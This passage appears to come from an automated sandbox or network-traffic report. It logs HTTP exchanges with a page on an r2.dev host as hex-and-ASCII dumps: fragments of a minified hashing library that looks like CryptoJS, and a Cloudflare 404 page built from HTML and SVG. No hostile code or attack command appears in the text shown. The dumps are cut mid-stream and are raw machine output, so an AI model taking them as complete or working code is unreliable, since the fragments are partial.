29 Data Ascii: 092+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+o*o,c=((4294901760&i)
2024-07-04 19:06:00 UTC	1369	IN	Data Raw: 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 Data Ascii: >>>6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=42
2024-07-04 19:06:00 UTC	1369	IN	Data Raw: 29 2c 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b Data Ascii: ),S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[
2024-07-04 19:06:00 UTC	1369	IN	Data Raw: 69 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 Data Ascii: i.clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;retur
2024-07-04 19:06:00 UTC	1369	IN	Data Raw: 28 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 Data Ascii: (o),function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:06:00 UTC	651	OUT	GET /favicon.ico HTTP/1.1 Host: pub-ad8bdbb321694934a9a218eeb6868559.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/link.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 19:06:01 UTC	180	IN	HTTP/1.1 404 Not Found Date: Thu, 04 Jul 2024 19:06:01 GMT Content-Type: text/html Content-Length: 27150 Connection: close Server: cloudflare CF-RAY: 89e163dc7a810f4d-EWR
2024-07-04 19:06:01 UTC	1369	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="https://www.cloudflare.com/favicon.ico" /> <title>Not Found</title> <sty
2024-07-04 19:06:01 UTC	1369	IN	Data Raw: 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 73 76 67 20 3e 20 2e 65 79 65 2d 31 20 7b 0a 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 65 79 65 2d 31 20 33 73 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 73 76 67 20 3e 20 2e 65 79 65 2d 32 20 7b 0a 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 65 79 65 2d 32 20 33 73 20 30 2e 36 73 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a Data Ascii: teX(0); } 100% { transform: translateX(0px); } } svg > .eye-1 { animation: eye-1 3s infinite; } svg > .eye-2 { animation: eye-2 3s 0.6s infinite; } h1 { font-siz
2024-07-04 19:06:01 UTC	1369	IN	Data Raw: 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 3c 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 34 31 34 22 0a 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 31 32 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 31 34 20 32 31 32 22 0a 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 0a 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: a > </p> </div> </section> <section> <svg width="414" height="212" viewBox="0 0 414 212" fill="none" xmlns="http://www.w3.org/2000/svg" >
2024-07-04 19:06:01 UTC	1369	IN	Data Raw: 33 34 43 31 33 30 2e 39 32 38 20 31 30 2e 34 32 38 38 20 31 32 38 2e 30 38 20 31 33 2e 32 37 37 20 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 32 2e 36 39 32 20 31 30 2e 32 33 34 37 48 31 32 36 2e 34 30 32 56 32 34 2e 30 33 34 35 48 31 32 32 2e 36 39 32 56 31 30 2e 32 33 34 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 38 35 2e 36 37 37 35 20 35 37 2e Data Ascii: 34C130.928 10.4288 128.08 13.277 124.566 13.277Z" fill="#0055DC" /> <path d="M122.692 10.2347H126.402V24.0345H122.692V10.2347Z" fill="#0055DC" /> <path d="M85.6775 57.
2024-07-04 19:06:01 UTC	1369	IN	Data Raw: 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 36 2e 31 37 36 20 31 31 31 2e 39 35 33 43 31 33 36 2e 31 37 36 20 31 31 33 2e 32 38 31 20 31 33 36 2e 37 30 34 20 31 31 34 2e 35 35 35 20 31 33 37 2e 36 34 33 20 31 31 35 2e 34 39 34 43 31 33 38 2e 35 38 32 20 31 31 36 2e 34 33 33 20 31 33 39 2e 38 35 36 20 31 31 36 2e 39 36 31 20 31 34 31 2e 31 38 34 20 31 31 36 2e 39 36 31 43 31 34 31 2e 38 34 32 20 31 31 36 2e 39 36 32 20 31 34 32 2e 34 39 34 20 31 31 36 2e 38 33 33 20 31 34 33 2e 31 30 33 20 31 31 36 2e 35 38 32 43 31 34 33 2e 37 31 31 20 31 31 36 2e 33 33 31 20 31 34 34 2e 32 36 34 20 31 31 35 2e 39 36 32 20 31 34 34 2e 37 Data Ascii: ll="#0055DC" /> <path d="M136.176 111.953C136.176 113.281 136.704 114.555 137.643 115.494C138.582 116.433 139.856 116.961 141.184 116.961C141.842 116.962 142.494 116.833 143.103 116.582C143.711 116.331 144.264 115.962 144.7
2024-07-04 19:06:01 UTC	1369	IN	Data Raw: 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 33 38 34 20 31 31 31 2e 39 35 33 43 31 30 33 2e 33 38 34 20 31 31 32 2e 36 31 32 20 31 30 33 2e 35 31 33 20 31 31 33 2e 32 36 34 20 31 30 33 2e 37 36 36 20 31 31 33 2e 38 37 32 43 31 30 34 2e 30 31 38 20 31 31 34 2e 34 38 20 31 30 34 2e 33 38 37 20 31 31 35 2e 30 33 32 20 31 30 34 2e 38 35 33 20 31 31 35 2e 34 39 37 43 31 30 35 2e 33 31 39 20 31 31 35 2e 39 36 32 20 31 30 35 2e 38 37 32 20 31 31 36 2e 33 33 31 20 31 30 36 2e 34 38 31 20 31 31 36 2e 35 38 32 43 31 30 37 2e 30 38 39 20 31 31 36 2e 38 33 33 20 31 30 37 2e 37 34 31 20 31 31 36 2e 39 36 32 20 31 30 38 2e 33 39 39 20 31 31 36 2e 39 36 31 43 31 30 39 2e 37 32 38 20 31 31 36 2e 39 36 31 20 31 31 31 2e 30 30 31 20 31 31 36 2e 34 33 Data Ascii: h d="M103.384 111.953C103.384 112.612 103.513 113.264 103.766 113.872C104.018 114.48 104.387 115.032 104.853 115.497C105.319 115.962 105.872 116.331 106.481 116.582C107.089 116.833 107.741 116.962 108.399 116.961C109.728 116.961 111.001 116.43
2024-07-04 19:06:01 UTC	1369	IN	Data Raw: 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 38 2e 38 32 31 20 34 38 2e 39 35 31 36 43 31 30 34 2e 30 32 34 20 34 38 2e 39 35 31 36 20 31 30 30 2e 31 33 35 20 34 35 2e 30 36 32 37 20 31 30 30 2e 31 33 35 20 34 30 2e 32 36 35 35 43 31 30 30 2e 31 33 35 20 33 35 2e 34 36 38 34 20 31 30 34 2e 30 32 34 20 33 31 2e 35 37 39 35 20 31 30 38 2e 38 32 31 20 33 31 2e 35 37 39 35 43 31 31 33 2e 36 31 38 20 33 31 2e 35 37 39 35 20 31 31 37 2e 35 30 37 20 33 35 Data Ascii: 0055DC" stroke-width="2" stroke-miterlimit="10" /> <path d="M108.821 48.9516C104.024 48.9516 100.135 45.0627 100.135 40.2655C100.135 35.4684 104.024 31.5795 108.821 31.5795C113.618 31.5795 117.507 35
2024-07-04 19:06:01 UTC	1369	IN	Data Raw: 43 31 30 37 2e 37 31 37 20 33 38 2e 31 32 35 20 31 30 37 2e 32 37 34 20 33 39 2e 31 39 32 31 20 31 30 37 2e 32 37 31 20 34 30 2e 33 30 35 35 56 34 30 2e 33 30 35 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 36 45 43 43 45 35 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 38 34 2e 38 39 31 38 20 31 32 37 2e 35 38 31 48 31 36 34 2e 39 36 37 43 31 37 33 2e 33 34 35 20 31 32 37 2e 35 38 31 20 31 38 30 2e 31 33 37 20 31 33 34 2e 33 37 31 20 31 38 30 2e 31 33 37 20 31 34 32 2e 37 34 37 43 31 38 30 2e 31 33 37 20 31 35 31 2e 31 32 33 20 31 37 33 2e 33 34 35 20 31 35 37 2e 39 31 33 20 31 36 34 2e 39 36 37 20 31 35 37 2e 39 31 33 48 38 34 2e 38 39 Data Ascii: C107.717 38.125 107.274 39.1921 107.271 40.3055V40.3055Z" fill="#6ECCE5" /> <path d="M84.8918 127.581H164.967C173.345 127.581 180.137 134.371 180.137 142.747C180.137 151.123 173.345 157.913 164.967 157.913H84.89
2024-07-04 19:06:01 UTC	1369	IN	Data Raw: 2d 6d 6f 64 65 3a 20 6d 75 6c 74 69 70 6c 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 30 37 34 20 31 34 32 2e 38 33 31 43 31 30 33 2e 30 33 38 20 31 34 35 2e 33 39 35 20 31 30 34 2e 30 32 31 20 31 34 37 2e 38 36 39 20 31 30 35 2e 38 30 38 20 31 34 39 2e 37 30 39 43 31 30 37 2e 35 39 35 20 31 35 31 2e 35 34 39 20 31 31 30 2e 30 33 39 20 31 35 32 2e 36 30 33 20 31 31 32 2e 36 30 34 20 31 35 32 2e 36 34 31 43 31 31 35 2e 31 36 38 20 31 35 32 2e 36 30 33 20 31 31 37 2e 36 31 33 20 31 35 31 2e 35 34 39 20 31 31 39 2e 34 20 31 34 39 2e 37 30 39 43 31 32 31 2e 31 38 37 20 31 34 37 2e 38 36 39 20 31 32 32 2e 31 37 20 31 34 35 2e 33 39 35 20 31 32 32 2e 31 33 34 20 31 34 32 2e Data Ascii: -mode: multiply"> <path d="M103.074 142.831C103.038 145.395 104.021 147.869 105.808 149.709C107.595 151.549 110.039 152.603 112.604 152.641C115.168 152.603 117.613 151.549 119.4 149.709C121.187 147.869 122.17 145.395 122.134 142.
2024-07-04 19:06:01 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 2e 30 38 37 20 38 37 2e 30 31 34 31 48 31 34 32 2e 31 37 37 56 39 31 2e 31 30 38 39 48 31 33 37 2e 30 38 37 56 38 37 2e 30 31 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 39 2e 38 35 32 20 38 37 2e 30 31 34 31 48 31 33 34 2e 39 33 34 56 39 31 2e 31 30 38 39 48 31 32 39 2e 38 35 32 56 38 37 2e 30 31 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: fill="#0055DC" /> <path d="M137.087 87.0141H142.177V91.1089H137.087V87.0141Z" fill="#0055DC" /> <path d="M129.852 87.0141H134.934V91.1089H129.852V87.0141Z"